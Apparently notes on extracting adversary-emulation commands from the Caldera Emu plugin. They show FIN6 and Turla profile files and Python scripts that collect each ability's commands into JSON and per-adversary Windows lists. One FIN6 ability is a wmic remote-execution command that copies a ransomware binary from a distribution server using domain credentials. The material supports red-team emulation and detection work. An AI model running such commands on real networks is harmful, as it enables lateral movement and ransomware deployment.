  - e74554b8-0bc9-3d50-95a4-e45421925b49 >> exfiltration
  - b393c022-329a-4c52-ab1f-eb594ee8d3cd >> execution
  - f50f8f39-2fb0-4fe3-9e2d-9af38aee447d
  - e45dc48f-45f1-42d2-850c-4a15385c1646
  - 6ffca252-9eb0-4ac0-93dd-35c9e7c6fae0 >> lateral movement
  - 5599b7cf-6e8d-43c1-a311-e953dd0fbd2a < WE ARE CHECKING THIS ONE
  - 5dcbd042-e8e5-4f3f-8055-7284e4d5112c
  - eb4c2ff6-3534-404c-bf1c-d864a508c162
  - c29e9cc7-b34f-46c2-bdbe-a41f757eae24
  - 0c752dce-9302-4465-805f-522650aece3f >> execution
  - d77838f6-d562-3480-ad29-2cbeee8b7b45 >> execution
  description: FIN6 is a financially motivated cyber crime group known for stealing
    credit card data and performing ransomware attacks. (Emu)
  id: 123700e5-44c8-4894-a409-6484992c8846
  name: FIN6

An Ability

  cat abilities/execution/5599b7cf-6e8d-43c1-a311-e953dd0fbd2a.yml| less
  - description: FIN6 utilizes WMI to distribute ransomware to intended targets
  id: 5599b7cf-6e8d-43c1-a311-e953dd0fbd2a
  name: Distribute Ransomware via WMI
  platforms:
    windows:
      cmd:
        command: 'start wmic /node:#{internal_IP} /user:#{domain_user} /password:#{password}
          process call create "cmd.exe /c copy \\#{distribution_server}\c$\windows\temp\sss.exe
          c:\windows\temp\"

          '
  privilege: Elevated
  repeatable: false
  requirements: []
  tactic: execution
  technique:
    attack_id: T1047
    name: Windows Management Instrumentation

• Para Turla - Carbon:

  $ cat eddf38a4-e483-48ec-8874-4983c7a3652b.yml
  atomic_ordering:
  - 9a49d734-c69a-4a6b-b726-5a2a86edf418
  - 2c7ad0e1-d112-4c71-8deb-38bc3ce5654b
  - bb4dd7c0-c5df-4321-94ca-cb7da59b9c32
  - c4e2f189-ef8d-4073-abfb-1d3449af464b
  - 771a00b3-2b39-436d-b003-b58cacffa774
  - 3e20bbc1-b60a-4129-88b5-627b7b4ac17d
  - eb66d327-3f82-4433-8897-76cd8a46865b
  - 88bb16c5-f78b-45c3-91b6-a7422cd2fb13
  - d5e29782-72ca-45f0-b286-09525ae91d75
  - 349d3879-c849-493a-989e-6d7f40015f54
  - b7190a39-c5f1-4955-8923-44807d8069e7
  - da986326-8d71-4e85-b767-0c8ffc49a2af
  - d702d810-3414-4e38-8cbc-22fc429d2da4
  - f2462df4-2867-4d72-b3f1-ffa9a7431f87
  - 02772b8f-4f3b-42c6-9705-1d05b33ad19a
  - 99748bd2-530e-47b6-b6d7-576d4f573b6d
  - 4945a1e5-75ab-4665-8441-6995105edf38
  - 386b614d-7237-4d1a-a6dd-543f6f515bd4
  - 954ee411-8443-41f9-9a0c-f8ac032b68e7
  - c90bbb6c-f9bd-4811-b7b7-c923902a8bde
  - a2621060-73a5-461b-918d-88a86f83c21b
  - bf90a64c-5367-4de6-93b5-a718189803c3
  - 4e39b630-f2d7-405e-a4ef-d11cf79db1be
  - 4e31798e-f973-4480-aa38-3372c44c29c9
  - 33d4136a-d5e6-45f2-b0e1-786d3ec8bf02
  - 9b50feb8-41a2-489a-a863-75240743734c
  - f6690cfd-073d-49c4-bd1b-1194aeb26780
  - f9ad6b77-518e-4784-9fba-5e4cd97fc455
  - 75424a6a-28f5-46fa-834b-508f7d09020a
  - 824d5eda-7743-4c10-89d8-143d4bc50eda
  - e7c827d6-57f8-40d0-b3a9-e03b2e4d0484
  - 1a9e352f-4edb-480d-b29c-66acb6c4df19
  - 4cedd0ef-c802-431d-a4a1-eaf1163543f3
  - cefe85b8-d1e5-4077-afac-81a6622f4c66
  - 438939c8-e95a-4fbd-b659-06f0b0b72e47
  - f8ab9b59-89a7-4c25-90bf-0c2485785a36
  - 4d5197fa-4ba7-4bfd-9c91-1697ce0a80a4
  - d760974d-6466-40b9-8532-b6be578428fc
  - 83a79c7d-721c-44ac-b8d5-d9ba2bc84852
  - 4468cc14-8e77-44cd-93de-b892253b3e27
  - 8c6a546b-e03b-4761-b422-8eaf40f59580
  - 1fe4de9d-d8d3-4188-8a2a-6ff42394400c
  - 00a08c4d-d023-4b2a-8244-651f37d23e2c
  - 7086ff8c-da64-4b85-a3ee-6157fc0e0a70
  - 4b6ed411-6b13-484e-bed6-60b07562d6de
  description: Turla is a Russian-based threat group known for watering hole and spear
    phishing campaigns and leveraging in-house tools and malware. (Emu)
  id: eddf38a4-e483-48ec-8874-4983c7a3652b
  name: Turla - Carbon
  

Extracting the commands and info related:

• command-sequence-parser.py:

import os
import yaml
import json

# Directory paths
BASE_DIR = "/home/attacker/Caldera/caldera/plugins/emu/data"
ADVERSARIES_DIR = os.path.join(BASE_DIR, "adversaries")
ABILITIES_DIR = os.path.join(BASE_DIR, "abilities")

# Function to read the YAML content from a file
def read_yaml_file(file_path):
    with open(file_path, 'r') as file:
        return yaml.safe_load(file)

# Function to extract adversary commands and write to JSON
def extract_adversary_commands(adversary_file_path, output_data):
    adversary = read_yaml_file(adversary_file_path)
    adversary_name = adversary.get('name', 'Unknown Adversary')
    atomic_ordering = adversary.get('atomic_ordering', [])

    adversary_data = {
        "adversary": adversary_name,
        "abilities": []
    }

    # Iterate through each ability ID in the adversary's atomic ordering
    for ability_id in atomic_ordering:
        # Find the corresponding ability file in the abilities directory
        for root, _, files in os.walk(ABILITIES_DIR):
            for file in files:
                if file.endswith('.yml') and ability_id in file:
                    ability_file_path = os.path.join(root, file)
                    ability = read_yaml_file(ability_file_path)
                    if isinstance(ability, list):
                        ability = ability[0]
                    
                    platforms = ability.get('platforms', {})
                    for platform, platform_data in platforms.items():
                        command_info = {k: v for k, v in platform_data.items() if isinstance(v, dict) and 'command' in v}
                        command_extracted = {k: v.get('command', 'No command found').strip("'") for k, v in command_info.items()}
                        privilege = ability.get('privilege', 'Unknown')
                        tactic = ability.get('tactic', 'Unknown')
                        technique = ability.get('technique', {}).get('name', 'Unknown')
                        
                        adversary_data["abilities"].append({
                            "ability_id": ability_id,
                            "platform": platform,
                            "commands": command_extracted,
                            "privilege": privilege,
                            "tactic": tactic,
                            "technique": technique
                        })
                    break

    output_data.append(adversary_data)

# Extract commands for each adversary in the adversaries directory and write to JSON
output_data = []
for root, _, files in os.walk(ADVERSARIES_DIR):
    for file in files:
        if file.endswith('.yml'):
            adversary_file_path = os.path.join(root, file)
            extract_adversary_commands(adversary_file_path, output_data)

# Write output to a JSON file
with open("commands-output.json", "w") as json_file:
    json.dump(output_data, json_file, indent=4)

The latest version of the code performs the following tasks:

1. Set Up Directory Paths:

   • BASE_DIR is the root directory for the relevant data files.

   • ADVERSARIES_DIR and ABILITIES_DIR represent paths for adversary and ability YAML files respectively.

2. Read YAML Files:

   • The read_yaml_file(file_path) function reads a given YAML file and returns its content as a Python dictionary.

3. Extract Adversary Commands and Write to JSON:

   • The function extract_adversary_commands(adversary_file_path, output_data) extracts information from an adversary YAML file.
   • It retrieves the adversary’s name and the list of ability IDs (atomic_ordering).
   • For each ability ID, it searches the abilities directory to find the corresponding YAML file.
   • Once the ability YAML file is found, it extracts relevant information:
     • Platforms: Extracts platform-specific commands by iterating over possible fields (e.g., cmd, proc, sh).
     • Command Extraction: Collects commands by checking if they are represented as dictionaries with a command key. These commands are stored in a dictionary called command_extracted.
     • Privilege: Extracts the privilege level.
     • Tactic and Technique: Extracts the tactic and technique name.
   • Each ability is appended to the adversary_data dictionary, which represents the current adversary’s data.

4. Create the JSON Output:

   • The script iterates through all adversary files in ADVERSARIES_DIR.
   • For each adversary, it calls extract_adversary_commands() to gather the information.
   • The collected data is appended to the output_data list.

5. Write Output to a JSON File:

   • The script writes the output_data to a JSON file named commands-output.json.

6. Key Changes in the Latest Version:

   • The script now considers all fields after each platform (e.g., cmd, proc, sh), ensuring it extracts all types of commands.
   • Commands are gathered into a commands dictionary containing each type of command found, allowing for a comprehensive representation.
   • The JSON output structure includes the adversary name, abilities, platform, command(s), privilege, tactic, and technique, providing a detailed view of adversary actions.

Extracting the commands only for windows platform

• extract_windows_commands.py:

  GNU nano 8.2                        extract_windows_commands.py                                 
import json

# Load JSON data from the input file
input_file = "commands-output.json"
adversaries = [
    "Turla - Carbon",
    "Turla - Snake",
    "OilRig",
    "FIN7",
    "Sandworm Team (G0034)",
    "menuPass",
    "APT29",
    "Wizard Spider",
    "Carbanak",
    "FIN6"
]

with open(input_file, 'r') as file:
    data = json.load(file)

# Extract commands for each specified adversary and platform "windows"
for adversary_name in adversaries:
    output_file = f"{adversary_name.lower().replace(' ', '_').replace('-', '').replace('(', '').r>
    commands = []
    for adversary in data:
        if adversary.get("adversary") == adversary_name:
            abilities = adversary.get("abilities", [])
            for ability in abilities:
                if ability.get("platform") == "windows":
                    platform_commands = ability.get("commands", {})
                    for command in platform_commands.values():
                        commands.append(command.strip())

    # Write the extracted commands to the output file
    if commands:
        with open(output_file, 'w') as file:
            for command in commands:
                file.write(command + "\n")
        print(f"Extracted commands saved to {output_file}")